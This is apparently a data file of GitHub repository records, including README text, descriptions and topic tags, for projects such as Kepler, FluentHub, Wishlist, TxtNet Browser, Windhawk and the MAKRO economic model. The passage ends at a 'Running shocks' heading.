openai/dalle-2-preview | null | null | null | 0 | 56 | 7 | 7 | 21 | 1 | 0 |
sustainable-computing-io/kepler | <img align="right" width="250px" src="https://user-images.githubusercontent.com/17484350/138557170-d8079b94-a517-4366-ade8-8d473e3f3f1d.jpg">
[](https://codecov.io/gh/sustainable-computing-io/kepler)
[](https://bestpractices.coreinfrastructure.org/projects/7391)[](https://securityscorecards.dev/viewer/?uri=github.com/sustainable-computing-io/kepler)
<!--
[](https://godoc.org/github.com/kubernetes/kube-state-metrics)
-->
[![License][apache2-badge]][apache2-url]
[![License][bsd2-badge]][bsd2-url]
[![License][gpl-badge]][gpl-url]
[](https://twitter.com/KeplerProject)
[apache2-badge]: https://img.shields.io/badge/License-Apache%202.0-blue.svg
[apache2-url]: https://opensource.org/licenses/Apache-2.0
[bsd2-badge]: https://img.shields.io/badge/License-BSD%202--Clause-orange.svg
[bsd2-url]: https://opensource.org/licenses/BSD-2-Clause
[gpl-badge]: https://img.shields.io/badge/License-GPL%20v2-blue.svg
[gpl-url]: https://opensource.org/licenses/GPL-2.0
# Kepler
Kepler (Kubernetes Efficient Power Level Exporter) uses eBPF to probe energy-related system stats and exports them as Prometheus metrics.
As a CNCF Sandbox project, Kepler uses [CNCF Code of Conduct](https://github.com/cncf/foundation/blob/main/code-of-conduct.md)
## Architecture
Kepler Exporter exposes a variety of [metrics](https://sustainable-computing.io/design/metrics/) about the energy consumption of Kubernetes components such as Pods and Nodes.
## Install Kepler
Instructions to install Kepler can be found in the [Kepler docs](https://sustainable-computing.io/installation/kepler/).
## Visualise Kepler metrics with Grafana
To visualise the power consumption metrics made available by the Kepler Exporter, import the pre-generated [Kepler Dashboard](grafana-dashboards/Kepler-Exporter.json) into Grafana:
## Contribute to Kepler
Interested in contributing to Kepler? Follow the [Contributing Guide](CONTRIBUTING.md) to get started!
## Talks & Demos
- [Kepler Demo](https://www.youtube.com/watch?v=P5weULiBl60)
- ["Sustainability the Container Native Way" - Open Source Summit NA 2022](doc/OSS-NA22.pdf)
A full list of talks and demos about Kepler can be found [here](https://github.com/sustainable-computing-io/kepler-doc/tree/main/demos).
## Community Meetings
Please join the biweekly community meetings. The meeting calendar and agenda can be found [here](https://github.com/sustainable-computing-io/community/blob/main/community-event.md)
## License
With the exception of eBPF code, everything is distributed under the terms of the [Apache License (version 2.0)].
### eBPF
All eBPF code is distributed under either:
- The terms of the [GNU General Public License, Version 2] or the [BSD 2 Clause license], at your option.
- The terms of the [GNU General Public License, Version 2].
The exact license text varies by file. Please see the SPDX-License-Identifier header in each file for details.
Files that originate from the authors of kepler use (GPL-2.0-only OR BSD-2-Clause).
Files generated from the Linux kernel i.e vmlinux.h use GPL-2.0-only.
Unless you explicitly state otherwise, any contribution intentionally submitted for inclusion in this project by you,
as defined in the GPL-2 license, shall be dual licensed as above, without any additional terms or conditions.
[Apache License (version 2.0)]: LICENSE-APACHE
[BSD 2 Clause license]: LICENSE-BSD-2
[GNU General Public License, Version 2]: LICENSE-GPL-2
| Kepler (Kubernetes-based Efficient Power Level Exporter) uses eBPF to probe performance counters and other system stats, use ML models to estimate workload energy consumption based on these stats, and exports them as Prometheus metrics | kubernetes,sustainability,ebpf,prometheus-exporter,energy-consumption,energy-monitor,energy-efficiency,prometheus,cloud-native,machine-learning | 32 | 50 | 1,029 | 2,242 | 64 | 33 | 21 |
0x5bfa/FluentHub | <p align="center">
<img width="128" align="center" src="assets/fluenthub.png" />
</p>
<h1 align="center">
FluentHub
</h1>
<p align="center">
<a title="Microsoft Store" target="_blank" href="https://apps.microsoft.com/store/detail/fluenthub/9nkb9hx8rjz3">
<img width="220" align="center" src="https://get.microsoft.com/images/en-us%20dark.svg" /></a>
</p>
FluentHub is the stylish yet powerful GitHub client for Windows, which enpowers development experience and follows Microsoft Design Language.
- **Modern UI:** designed with Fluent Design and built on WinAppSdk/WinUI
- **Multitasking:** let's do multitasking with tabs, you can switch tabs without losing data
- **Powerful page navigation:** navigation can be performed like browsers without losing navigation history
- **Mutation:** perform any kind of modification on GitHub, the app supports as far as GitHub API supports
## ๐ Getting started with FluentHub
Your Windows must be Windows 10 or 11 to run FluentHub
### Via Microsoft Store
This is the preferred installation method. It allows you to always be on the latest version when we release new builds via automatic updates.
### Via GitHub
Released builds can be manually downloaded from this [repository's releases page](https://github.com/FluentHub/FluentHub/releases).
Download the `FluentHub_<versionNumber>.msixbundle` file from the `Assets` section. In order to install the app, you can simply double-click on the .msixbundle file, and the app installer should automatically run. If that fails for any reason, you can try the following command with a PowerShell prompt:
```powershell
# NOTE: If you are using PowerShell 7+, please run
# Import-Module Appx -UseWindowsPowerShell
# before using Add-AppxPackage.
Add-AppxPackage FluentHub_<versionNumber>.msixbundle
```
## Screenshots
**Home page**
**PR page**
**User profile page**
## Building the Code
### Requirements
- Windows 10 (Build 10.0.19041.0) or newer with Developer Mode enabled in the Windows Settings
- [Git](https://git-scm.com/)
- [Visual Studio 2022](https://visualstudio.microsoft.com/vs/):
- [Windows App SDK (version 10.0.22621.0)](https://developer.microsoft.com/en-us/windows/downloads/windows-sdk/)
- .NET 7 SDK (check the box named .NET Desktop Development)
- Windows App SDK
### 1. Clone the repository
```git
git clone https://github.com/FluentHub/FluentHub
```
### 2. Prepare OAuth credentials
See [the documentation](docs/credentials.md).
> [!IMPORTANT]
> If you skip this step, Visual Studio will give a fatal error that the `AppCredentials.config` file does not exist.
### 3. Build the project
- Open `FluentHub.sln`.
- Hit 'Set as Startup item' on `FluentHub.Package` in the Solution Explorer.
- Build with `Debug`, `x64`, `FluentHub.Package`.
## Contributing
There are multiple ways to participate in the community:
- [Submit bugs and feature requests](https://github.com/FluentHub/FluentHub/issues/new/choose).
- Review [the documentation](docs/code-style.md) and make pull requests for anything from typos to additional and new idea
- Review source code changes
If you are interested in fixing issues and contributing directly to the code base, please refer to the [documentation](docs/), which covers the following:
- [How to build and run from source](docs/)
- The development workflow, including debugging and running tests
- Coding guidelines
- [Submitting pull requests](https://github.com/FluentHub/FluentHub/pulls)
- [Finding an issue to work on](https://github.com/FluentHub/FluentHub/issues/)
- [Contributing to translations on Crowdin](https://crowdin.com/project/fluenthub)
<a href="https://crowdin.com/project/fluenthub" rel="nofollow">
<img style="width:140;height:40" src="https://badges.crowdin.net/badge/dark/crowdin-on-light.png" /></a>
## Feedback
- [Request a new feature](https://github.com/FluentHub/FluentHub/pulls)
- Upvote popular feature requests
- [File an issue](https://github.com/FluentHub/FluentHub/issues/new/choose)
- Join [our Discord](https://discord.gg/8KtRkjq2Q4) and let us know what you think
[](https://discord.gg/8KtRkjq2Q4)
## Credit
- Some application icons were created by [Icons8](https://github.com/icons8).
- Many thanks to [Joseph Beattie](https://github.com/josephbeattie) for creating our current logo.
| The best, stylish yet powerful GitHub client for Windows. | github,uwp,graphql,client,developer-tools,csharp,xaml,fluent,github-api,mica | 19 | 20 | 299 | 572 | 17 | 1 | 1 |
charmbracelet/wishlist | # Wishlist
<p>
<a href="https://github.com/charmbracelet/wishlist/releases"><img src="https://img.shields.io/github/release/charmbracelet/wishlist.svg" alt="Latest Release"></a>
<a href="https://pkg.go.dev/github.com/charmbracelet/wishlist?tab=doc"><img src="https://godoc.org/github.com/golang/gddo?status.svg" alt="GoDoc"></a>
<a href="https://github.com/charmbracelet/wishlist/actions"><img src="https://github.com/charmbracelet/wishlist/workflows/build/badge.svg" alt="Build Status"></a>
<a href="https://nightly.link/charmbracelet/wishlist/workflows/nightly/main"><img src="https://shields.io/badge/-Nightly%20Builds-orange?logo=hackthebox&logoColor=fff&style=appveyor"/></a>
</p>
The SSH directory โจ
With Wishlist you can have a single entry point for multiple SSH endpoints,
whether they are [Wish](https://github.com/charmbracelet/wish) apps or not.
As a server, it can be used to start multiple SSH apps within a single package
and list them over SSH.
You can list apps provided elsewhere, too.
You can also use the `wishlist` command to list and connect to servers in your
`~/.ssh/config` or in a YAML configuration file.
## Installation
Use your fave package manager:
```bash
# macOS or Linux
brew install charmbracelet/tap/wishlist
# Arch Linux (btw)
yay -S wishlist-bin
# or
yay -S wishlist
# Windows (with winget)
winget install wishlist
# Windows (with Scoop)
scoop bucket add charm https://github.com/charmbracelet/scoop-bucket.git
scoop install wishlist
# Nix
nix-env -iA nixpkgs.wishlist
# Debian/Ubuntu
sudo mkdir -p /etc/apt/keyrings
curl -fsSL https://repo.charm.sh/apt/gpg.key | sudo gpg --dearmor -o /etc/apt/keyrings/charm.gpg
echo "deb [signed-by=/etc/apt/keyrings/charm.gpg] https://repo.charm.sh/apt/ * *" | sudo tee /etc/apt/sources.list.d/charm.list
sudo apt update && sudo apt install wishlist
# Fedora/RHEL
echo '[charm]
name=Charm
baseurl=https://repo.charm.sh/yum/
enabled=1
gpgcheck=1
gpgkey=https://repo.charm.sh/yum/gpg.key' | sudo tee /etc/yum.repos.d/charm.repo
sudo yum install wishlist
```
Or download a pre-compiled binary or package from the [releases][releases] page.
Or just build it yourself (requires Go 1.19+):
```bash
git clone https://github.com/charmbracelet/wishlist.git
cd wishlist
go build ./cmd/wishlist/
```
[releases]: https://github.com/charmbracelet/wishlist/releases
## Usage
### CLI
#### Remote
If you just want a directory of existing servers, you can use the `wishlist` CLI
and a YAML config file. You can also just run it without any arguments to list
the servers in your `~/.ssh/config`. To start wishlist in server mode, you'll
need to use the `serve` subcommand:
```sh
wishlist serve
```
Check the [example config file](/_example/config.yaml) file as well as
`wishlist server --help` for details.
#### Local
If you want to explore your `~/.ssh/config`, you can run wishlist in local mode
with:
```sh
wishlist
```
Note that not all options are supported at this moment. Check the
[commented example config](/_example/config) for reference.
### Library
Wishlist is also available as a library, which allows you to start several apps
within the same process.
Check out the `_example` folder for a working example.
## Auth
### Local mode
When running in local mode, wishlist will first see if the current endpoint has
an `IdentityFile` specified.
If so, it'll try to use that.
If not, it'll see if there's a SSH Agent available, and use it.
Otherwise, it'll try the common key names in `~/.ssh`.
### Server mode
When running as a server, wishlist will first try to forward the current SSH
Agent.
If there's no agent, it'll create or use an existing ed25519 key present in
`.wishlist/client_ed25519`.
Password authentication is not supported at this moment.
### Agent forwarding example
```sh
eval (ssh-agent)
ssh-add -k # adds all your pubkeys
ssh-add -l # should list the added keys
ssh \
-o 'ForwardAgent=yes' \ # forwards the agent
-o 'UserKnownHostsFile=/dev/null' \ # do not add to ~/.ssh/known_hosts, optional
-p 2222 \ # port
foo.bar \ # host
-t list # optional, app name
```
You can also add this to your `~/.ssh/config`, for instance:
```sshconfig
Host wishlist
HostName foo.bar
Port 2222
ForwardAgent yes
UserKnownHostsFile /dev/null
```
## Discovery
Wishlist can discover endpoints using Zeroconf, SRV Records, and [Tailscale][].
You can find a brief explanation and examples of all of them bellow.
Run `wishlist --help` to see all the options.
[Tailscale]: http://tailscale.com
### Tailscale
You can configure Wishlist to find all nodes in your **tailnet** and add them
as endpoints:
```bash
wishlist --tailscale.net=your_tailnet_name --tailscale.key=tskey-api-abc123...
```
You can use the [Hints](#hints) to change the connection settings.
#### OAuth authentication
Tailscale API keys expire after 90 days. If you want something that doesn't
require you to intervene every couple of months, use OAuth Clients:
Create a client [here](https://login.tailscale.com/admin/settings/oauth).
The only scope needed is `devices:read`.
Instead of using `--tailscale.key` (or `$TAILSCALE_KEY`), set
`--tailscale.client.id` and `--tailscale.client.secret` (or
`$TAILSCALE_CLIENT_ID` and `$TAILSCALE_CLIENT_SECRET`, respectively).
### Zeroconf/Avahi/mDNS/Bonjour
You can enable this using the `--zeroconf.enabled` flag:
```bash
wishlist --zeroconf.enabled
```
Optionally, you can also specify a timeout with `--zeroconf.timeout` and, which
domain to look for with `--zeroconf.domain`.
Wishlist will look for `_ssh._tcp` services in the given domain.
You can use the [Hints](#hints) to change the connection settings.
### SRV records
You can set Wishlist up to find nodes from DNS `SRV` records:
```bash
wishlist --srv.domain example.com
```
By default, Wishlist will set the name of the endpoint to the `SRV` target.
You can, however, customize that with a `TXT` record in the following format:
```txt
wishlist.name full.address:22=thename
```
So, in this case, a `SRV` record pointing to `full.address` on port `22` will
get the name `thename`.
### Hints
You can use the `hints` key in the YAML configuration file to hint settings into
discovered endpoints.
Check the [example configuration file](/_example/config.yaml) to learn
what options are available.
If you're using a SSH configuration file as the Wishlist configuration file,
it'll try to match the hosts with the rules in the given configuration.
Otherwise, the services will simply be added to the list.
The difference is that if a hints themselves won't show in the TUI, as of hosts
in the SSH configuration will.
## Running it
Wishlist will read and store all its information in a `.wishlist` folder in the
current working directory:
- the server keys
- the client keys
- known hosts
- config files
Config files may be provided in either YAML or SSH Config formats:
- [example YAML](/_example/config.yaml)
- [example SSH config](/_example/config)
The config files are tried in the following order:
- the `-config` flag in either YAML or SSH config formats
- `.wishlist/config.yaml`
- `.wishlist/config.yml`
- `.wishlist/config`
- `[[user config dir]]/wishlist/config.yaml`[^1]
- `[[user config dir]]/wishlist/config.yml`[^1]
- `[[user config dir]]/wishlist/config`[^1]
- `$HOME/.ssh/config`
- `/etc/ssh/ssh_config`
[^1]:
i.e. `[[user config dir]]`: On Unix systems, it will be `$XDG_CONFIG_HOME`
as specified by
https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html
if non-empty, else `$HOME/.config`. On Darwin, it will be
`$HOME/Library/Application Support`. On Windows, it will be `%AppData%`.
On Plan 9, it will be `$home/lib`.
The first one that is loaded and parsed without errors will be used. This means
that if you have your common used hosts in your `~/.ssh/config`, you can simply
run `wishlist` and get it running right away. It also means that if you don't
want that, you can pass a path to `-config`, and it can be either a YAML, or a
SSH config file.
### Using the binary
```sh
wishlist
```
### Using Docker
```sh
mkdir .wishlist
$EDITOR .wishlist/config.yaml # either an YAML or a SSH config
docker run \
-p 2222:22 \
-v $PWD/.wishlist:/.wishlist \
docker.io/charmcli/wishlist:latest
```
### Supported SSH Options
Not all SSH options are currently supported.
Here's a list of the ones that are:
- `User`
- `Hostname`
- `Port`
- `IdentityFiles`
- `ForwardAgent`
- `RequestTTY`
- `RemoteCommand`
- `SendEnv`
- `SetEnv`
- `ConnectTimeout`
- `Include`
- `PreferredAuthentications`
- `ProxyJump`
## Acknowledgments
The gif above shows a lot of [Maas Lalaniโs](https://github.com/maaslalani) [confeTTY](https://github.com/maaslalani/confetty).
## Feedback
Weโd love to hear your thoughts on this project. Feel free to drop us a note!
- [Twitter](https://twitter.com/charmcli)
- [The Fediverse](https://mastodon.social/@charmcli)
- [Discord](https://charm.sh/chat)
## License
[MIT](/LICENSE)
---
Part of [Charm](https://charm.sh).
<a href="https://charm.sh/"><img alt="The Charm logo" src="https://stuff.charm.sh/charm-badge.jpg" width="400"></a>
<!--prettier-ignore-->
Charm็ญ็ฑๅผๆบ โข Charm loves open source
| The SSH directory โจ | hacktoberfest,ssh | 20 | 15 | 253 | 358 | 8 | 2 | 5 |
niuhuan/daisy | daisy
=====
[](https://raw.githubusercontent.com/niuhuan/daisy/master/LICENSE)
[](https://github.com/niuhuan/daisy/releases)
[](https://github.com/niuhuan/daisy/releases)
ไธไธช็ฎๆดๅคงๆน็ๆผซ็ปไธ่ฝปๅฐ่ฏดๅฎขๆท็ซฏ, ๅๆถๆฏๆๆฏๆ Android / iOS / MacOS / Windows / Linux.
ๆญคAPPๅซๆ"ๅธ็/้ฅฎ้
/ๆๆฎด/่จๆ
/ไธคๆง"็ญๅ
ๅฎนๆ้ดๆฅๆงๆ่ฟฐ, ๅ ๆญค้ๅถ็บงๅซไธบ"R12+PG14"๏ผๅปบ่ฎฎๅจ12ๅฒไปฅไธๆ่ฝไฝฟ็จ, 14ๅฒไปฅไธ็็จๆทๅจ็ๆคไบบ้ชๅไธไฝฟ็จ๏ผๅนถ่ฏทๅจไฝฟ็จ่ฟ็จไธญ้ตๅฎๅฝๅฐๆณๅพๆณ่งใ
ๅฆๆๆจ่งๅพๆญค่ฝฏไปถๅฏนๆจๆๅธฎๅฉ๏ผๅฏไปฅstar่ฟ่กๆฏๆใๅๆถๆฌข่ฟๆจissue๏ผไธ่ตท่ฎฉ่ฝฏไปถๅๅพๆดๅฅฝใ
ไปๅบๅฐๅ https://github.com/niuhuan/daisy
## ่ฝฏไปถๆชๅพ
## ๆๆฏๆถๆ
ๅฎขๆท็ซฏไฝฟ็จๅๅ็ซฏๅ็ฆปๆถๆ, flutterไฝไธบๆธฒๆๆกๆถ. rustไฝไธบๅบๅฑ่ฐๅบฆ็ฝ็ปๅๆไปถ็ณป็ป. Flutterไธrustๅไธบ่ทจๅนณๅฐ็ผ็จ่ฏญ่จ, ไปฅๆญคๆฏๆ android/iOS/windows/macOS ็ญไธๅๆไฝ็ณป็ป.
| ็พ่งๆ็จไธๆ ๅนฟๅ็ๆผซ็ปๅ่ฝปๅฐ่ฏดๅฎขๆท็ซฏ, ๅๆถๆฏๆMacOS๏ผWindows๏ผAndroid๏ผiOSใ็ฑปไผผๅจๆผซไนๅฎถใ | android,anime,bika,comic,comics-reader,flutter,pika,rust | 29 | 2 | 1 | 89 | 8 | 1 | 1 |
lukeaschenbrenner/TxtNet-Browser | # TxtNet Browser
### Browse the Web over SMS, no WiFi or Mobile Data required!
<p align="center"><img src="https://github.com/lukeaschenbrenner/TxtNet-Browser/raw/master/app/src/main/ic_launcher-playstore.png" alt="App Icon" width="200"/></p>
> **โธ๏ธ Development of this project is currently on hiatus due to other ongoing commitments. However, fixes and improvements are planned when development continues in Q1 2024! โธ๏ธ**
TextNet Browser is an Android app that allows anyone around the world to browse the web without a mobile data connection! It uses SMS as a medium of transmitting HTTP requests to a server where a pre-parsed HTML response is compressed using Google's [Brotli](https://github.com/google/brotli) compression algorithm and encoded using a custom Base-114 encoding format (based on [Basest](https://github.com/saxbophone/basest-python)).
In addition, any user can act as a server using their own phone's primary phone number and a Wi-Fi/data connection at the press of a button, allowing for peer-to-peer distributed networks.
## Download
### See the **[releases page](https://github.com/lukeaschenbrenner/TxtNet-Browser/releases)** for an APK download of the TxtNet Browser client. A Google Play release is coming soon.
TxtNet Browser is currently compatible with Android 4.4-13+.
## Running Server Instances (uptime not guaranteed)
| Country | Phone Number | Notes |
| :--- | :----: | :--- |
| United States | +1(913)203-2719 | Supports SMS to all +1 (US/Canada) numbers in addition to [these countries](https://github.com/lukeaschenbrenner/TxtNet-Browser/issues/2#issuecomment-1510506701) |
| | | |
Let me know if you are interested in hosting a server instance for your area!
> โ ๏ธ**Please note**: All web traffic should be considered unencrypted, as all requests are made over SMS and received in plaintext by the server!
## How it works (client)
This app uses a permission that allows a broadcast reciever to recieve and parse incoming SMS messages without the need for the app to be registered as the user's default messaging app. While granting an app SMS permissions poses a security concern, the code for this app is open source and all code involving the use of internet permissions are compartamentalized to the server module. This ensures that unless the app is setup to be a server, no internet traffic is transmitted. In addition, as the client, SMS messages are only programatically sent to and recieved from a registered server phone number.
The app communicates with a "server phone number", which is a phone number controlled by a "server host" that communicates directly over SMS using Android's SMS APIs. Each URL request is sent, encoded in a custom base 114, to the server. Usually, this only requires 1 SMS, but just in case, each message is prepended with an order specifier. When the server receives a request, the server uses an Android WebView component to programatically request the website in a manner that simulates a regular request, to avoid restrictions some services (such as Cloudflare) place on HTTP clients. By doing this, any Javascript can also execute on the website, allowing content to be dynamically loaded into the HTML if needed. Once the page is loaded, only the HTML is transferred back to the recipient device. The HTML is stripped of unnecessary tags and attributes, compressed into raw bytes, and then encoded. Once encoded, the messages are split into 160 character numbered segments (maximizing the [GSM-7 standard](https://en.wikipedia.org/wiki/GSM_03.38) SMS size) and sent to the client app for parsing and displaying.
Side note: Compression savings have been estimated to be an average of 20% using Brotli, but oftentimes it can save much more! For example, the website `example.com` in stripped HTML is 285 characters, but only requires 2 SMS messages (189 characters) to receive. Even including the 225% overhead in data transmission, it is still more efficient!
#### Why encode the HTML in the first place?
SMS was created in 1984, and was created to utilize the extra bytes from the data channels in phone signalling. It was originally conceived to only support 128 characters in a 7-bit alphabet. When further characters were required to support a subset of the UTF-8 character set, a new standard called UCS-2 was created. Still limited by the 160 bytes available, UCS-2 supports more characters (many of which show up in HTML documents) but limits SMS sizes to 70 characters per SMS. By encoding all data in GSM-7, more data can be sent per SMS message than sending the raw HTML over SMS. It is possible that it may be even more efficient to create an encoding system using all the characters available in UCS-2, but this limits compatibility and is out of the scope of the project.
## Server Hosting
TxtNet Browser has been rewritten to include a built-in server hosting option inside the app. Instead of the now-deprecated Python server using a paid SMS API, any user can now act as a server host, allowing for distributed communication.
To enable the background service, tap on the overflow menu and select "TxtNet Server Hosting". Once the necessary permissions are granted, you can press on the "Start Service" toggle to initialize a background service.
TxtNet Server uses your primary mobile number associated with the active carrier subscription SIM as a number that others can add and connect to.
Please note that this feature is still in early stages of development and likely has many issues. Please submit issue reports for any problems you encounter.
For Android 4.4-6.0, you will need to run adb commands one time as specified in the app. For Android 6.0-10.0, you may also use Skizuku, but a PC will still be required once. For Android 11+, no PC is required to activate the server using [Shizuku](https://shizuku.rikka.app/guide/setup/).
##### Desktop Server Installation (Deprecated)
<strike>
The current source code is pointed at my own server, using a Twilio API with credits I have purchased. If you would like to run your own server, follow the instructions below:
1. Register for an account at [Twilio](https://twilio.com/), purchase a toll-free number with SMS capability, and purchase credits. (This project will not work with Twilio free accounts)
2. Create a Twilio application for the number.
3. Sign up for an [ngrok](http://ngrok.com/) account and download the ngrok application
4. Open the ngrok directory and run this command: `./ngrok tcp 5000`
5. Visit the [active numbers](https://console.twilio.com/US1/develop/phone-numbers/manage/incoming) page and add the ngrok url to the "A Message Comes In" section after selecting "webhook". For example: "https://xyz.ngrok.io/receive_sms"
6. Download the TxtNet Browser [server script](https://github.com/lukeaschenbrenner/TxtNet-Browser/blob/master/SMS_Server_Twilio.py) and install all the required modules using "pip install x"
7. Add your Twilio API ID and Key into your environment variables, and run the script! `python3 ./SMS_Server_Twilio.py`
8. In the TxtNet Browser app, press the three dots and press "Change Server Phone Number". Enter in the phone number you purchased from Twilio and press OK!
</strike>
## FAQ/Troubleshooting
Bugs:
- Many carriers are unnecessarily rate limiting incoming text messages, so a page may look as though it "stalled" while loading on large pages. As of now the only way to fix this is to wait!
- In congested networks, it's possible for a mobile carrier to drop one or more SMS messages before they are recieved by the client. Currently, the app has no logic to mitigate this issue, so any websites that have stalled for a significant amount of time should be requested again.
- In Android 12 (or possibly a new version of Google Messages?), there is a new and "improved" messages blocking feature. This results in no SMS messages getting through when a number is blocked, which makes the blocking feature of TxtNet Browser break the app! Instead of blocking messages, to get around this "feature", you can silent message notifications from the server phone number.
<img src="https://github.com/lukeaschenbrenner/TxtNet-Browser/raw/master/media/silentMessages.png" alt="Silence Number" width="200"/>
<img src="https://github.com/lukeaschenbrenner/TxtNet-Browser/raw/master/media/Messages_Migrating_Popup.png" alt="Contacts Popup" width="200"/>
<img src="https://github.com/lukeaschenbrenner/TxtNet-Browser/raw/master/media/MigratingBlockedContacts.png" alt="Migrating Contacts" width="200"/>
## Screenshots (TxtNet 1.0)
<table>
<tr>
<td> <img src="https://github.com/lukeaschenbrenner/TxtNet-Browser/raw/master/media/screenshot1.png" alt="1" height = 640px ></td>
<td><img src="https://github.com/lukeaschenbrenner/TxtNet-Browser/raw/master/media/screenshot2.png" alt="2" height = 640px></td>
</tr>
<tr>
<td><img src="https://github.com/lukeaschenbrenner/TxtNet-Browser/raw/master/media/screenshot3.png" alt="3" height = 640px></td>
<td><img src="https://github.com/lukeaschenbrenner/TxtNet-Browser/raw/master/media/screenshot4.png" align="right" alt="4" height = 640px>
</td>
</tr>
</table>
##### Demo (TxtNet 1.0)
https://user-images.githubusercontent.com/5207700/191133921-ee39c87a-c817-4dde-b522-cb52e7bf793b.mp4
> Demo video shown above
## Development
### ๐ง **If you are skilled in Android UI design, your help would be greatly appreciated!** ๐ง A consistent theme and dark mode would be great additions to this app.
Feel free to submit pull requests! I am a second-year CS student with basic knowledge of Android Development and Server Development, and greatly appreciate help and support from the community.
## Future Impact
My long-term goal with this project is to eventually reach communities where such a service would be practically useful, which may include:
- Those in countries with a low median income and prohibitively expensive data plans
- Those who live under oppressive governments, with near impenetrable internet censorship
If you think you might be able to help funding a local country code phone number or server, or have any other ideas, please get in contact with the email in my profile description!
## License
GPLv3 - See LICENSE.md
## Credits
Thank you to everyone who has contributed to the libraries used by this app, especially Brotli and Basest. Special thanks goes to [Coldsauce](https://github.com/ColdSauce), whose original project [Cosmos Browser](https://github.com/ColdSauce/CosmosBrowserAndroid) was the original inspiration for this project!
My original reply to his Hacker News comment is [here](https://news.ycombinator.com/item?id=30685223#30687202).
In addition, I would like to thank [Zachary Wander](https://www.xda-developers.com/implementing-shizuku/) from XDA for their excellent Shizuku implementation tutorial and [Aayush Atharva](https://github.com/hyperxpro/Brotli4j/) for the amazing foundation they created with Brotli4J, allowing for a streamlined forking process to create the library BrotliDroid used in this app.
| An app that lets you browse the web over SMS | null | 10 | 4 | 4 | 82 | 12 | 3 | 0 |
ramensoftware/windhawk | # Windhawk
Windhawk aims to make it easier to customize Windows programs. For more details, see [the official website](https://windhawk.net/) and [the announcement](https://ramensoftware.com/windhawk).
This repository is used to [report issues](https://github.com/ramensoftware/windhawk/issues) and to [discuss Windhawk](https://github.com/ramensoftware/windhawk/discussions). For discussing Windhawk mods, refer to [the windhawk-mods repository](https://github.com/ramensoftware/windhawk-mods).
You're also welcome to join [the Windhawk Discord channel](https://discord.gg/WZgXScMud7) for a live discussion.
## Technical details
High level architecture:
For technical details about the global injection and hooking method that is used, refer to the following blog post: [Implementing Global Injection and Hooking in Windows](https://m417z.com/Implementing-Global-Injection-and-Hooking-in-Windows/).
## Source code
The Windhawk source code can be found in the `src` folder, which contains the following subfolders:
* `windhawk`: The code of the main `windhawk.exe` executable and the 32-bit and 64-bit `windhawk.dll` engine libraries.
* `vscode-windhawk`: The code of the VSCode extension that is responsible for UI operations such as installing mods and listing installed mods.
* `vscode-windhawk-ui`: The UI part of the VSCode extension.
A simple way to get started is by extracting the portable version of Windhawk with the official installer, building the part of Windhawk that you want to modify, and then replacing the corresponding files in the portable version with the newly built files.
## Additional resources
Code which demonstrates the global injection and hooking method that is used can be found in this repository: [global-inject-demo](https://github.com/m417z/global-inject-demo).
| The customization marketplace for Windows programs: https://windhawk.net/ | null | 10 | 1 | 3 | 7 | 34 | 1 | 0 |
DREAM-DK/MAKRO | # MAKRO 2023-March
MAKRO is an economic model built to provide a good description of the Danish economy in both the short and the long run.
In addition, the model is used to analyze how economic policy initiatives affect the economy, including the gradual transition to a long-run path.
The model is developed by the MAKRO model group at [DREAM (Danish Research Institute for Economic Analysis and Modelling )](https://dreamgruppen.dk/) for use by the Danish Ministry of Finance and others.
The model parameters, equations, and data as a whole have been selected such that the short and long-run properties are as empirically and theoretically well-founded as possible. Any changes to parameters, equations, or data are solely the user's responsibility, and we request that any changes be explicitly presented in any publication using MAKRO.
## 2023-March version
This is the first publicly available non-beta release of MAKRO.
It comes with batteries in the form of a stylized baseline starting in 2029, so users can simulate marginal policy experiments without requiring a data subscription or calibrating the model.
Note that the stylized baseline is not a serious forecast of the Danish economy but is based on several simplified projection assumptions. As such, the baseline should only be used for marginal experiments rather than as a forecast on its own.
## Documentation
The model documentation in English is included in this repository under [Documentation/Documentation.pdf](Documentation/Documentation.pdf).
The documentation has been thoroughly improved and pruned for this release, and we highly recommend reading it!
Variable names and documentation in the code are in Danish; however, comments regarding the structure of the code are in English for anyone looking for a template on how to structure a large model.
## Model source code
The source code defining all the model equations can be found in the [model subdirectory](Model/).
The run.cmd shows the order in which the files are usually run.
### Modules
The model is split into several modules, each defining a group of endogenous variables and exactly as many constraints. The separation is purely for user convenience rather than technical, as, in the end, all the modules are solved simultaneously.
- [aggregates](Model/aggregates.gms) - Calculates objects with ties to many other modules
- [consumers](Model/consumers.gms) - Consumption decisions and budget constraint
- [exports](Model/exports.gms) - Armington demand for exports of both domestically produced and imported goods
- [finance](Model/finance.gms) - Firm financing and valuation
- [government](Model/government.gms) - Government aggregation module
- [GovRevenues](Model/GovRevenues.gms) - Government revenues (see also taxes module)
- [GovExpenses](Model/GovExpenses.gms) - Government expenses
- [HHincome](Model/HHincome.gms) - Household income and portfolio accounting
- [IO](Model/IO.gms) - Details of the IO system. The different demand components are satisfied with domestic production competing with imports
- [labor_market](Model/labor_market.gms) - Labor force participation, job searching and matching, and wage bargaining
- [pricing](Model/pricing.gms) - Price rigidities, markups, and foreign prices
- [production_private](Model/production_private.gms) Private sector production and demand for factors of production
- [production_public](Model/production_public.gms) Public sector production and demand for factors of production
- [struk](Model/struk.gms) - Structural levels, i.e. potential output (Gross Value Added) and structural employment
- [taxes](Model/taxes.gms) - Tax rates and revenues from taxes and duties closely related to the IO system
## GAMS and gamY
MAKRO is written in GAMS but uses a pre-processor, *gamY*, that implements additional features convenient for working with large models.
An installation of [GAMS](https://www.gams.com/) is needed to run MAKRO (we recommend using the latest version) as well as a license for both GAMS and the included Conopt4 solver. Note that students and academics may have access to a license through their university.
The [paths.cmd](paths.cmd) file should be adjusted with the path to your local GAMS installation. We generally assume that users use Windows, but both GAMS and MAKRO should be compatible with other operating systems - python files are typically included as alternatives to .cmd files.
gamY can be run as a stand-alone executable or as a python script - both are included in the [*gamY* subdirectory](gamY/). The [documentation for gamY](gamY/gamY.pdf) is also included.
## Text editor
The recommended text editor for working with gamY is [Sublime Text 3](https://www.sublimetext.com/3), where the [gamY sublime package](https://packagecontrol.io/packages/gamY) provides syntax highlighting. In addition, Sublime can be opened using the [MAKRO.sublime-project](MAKRO.sublime-project) project file, which is set up for better search in sub-directories etc.
## Running shocks
